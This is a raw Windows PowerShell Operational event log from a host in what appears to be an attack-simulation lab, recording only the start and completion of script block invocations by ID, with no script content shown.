Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035123
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035121
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035120
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035103
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035097
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035075
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
